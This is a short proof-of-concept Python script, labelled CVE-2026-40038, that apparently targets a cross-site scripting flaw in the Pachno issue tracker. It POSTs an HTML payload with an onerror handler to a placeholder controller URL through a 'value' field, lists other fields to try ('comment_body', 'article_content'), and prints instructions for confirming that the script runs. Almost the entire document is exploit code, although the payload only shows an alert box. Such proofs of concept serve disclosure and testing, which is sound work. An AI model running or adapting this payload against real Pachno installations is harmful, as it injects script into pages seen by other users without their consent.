CVE-2026-40038

import requests # Target URL of the vulnerable Pachno instance target_url = "http://example.com/pachno/path/to/controller" # Malicious payload to demonstrate XSS payload = "<img src=x onerror=alert('CVE-2026-40038')>" # Vulnerable parameters mentioned in the advisory params = { "value": payload, # Other potential vectors: "comment_body", "article_content", etc. } try: response = requests.post(target_url, data=params) if response.status_code == 200: print("[+] Payload sent successfully.") print("[+] Check the application page to verify script execution.") else: print("[-] Request failed.") except Exception as e: print(f"Error: {e}")

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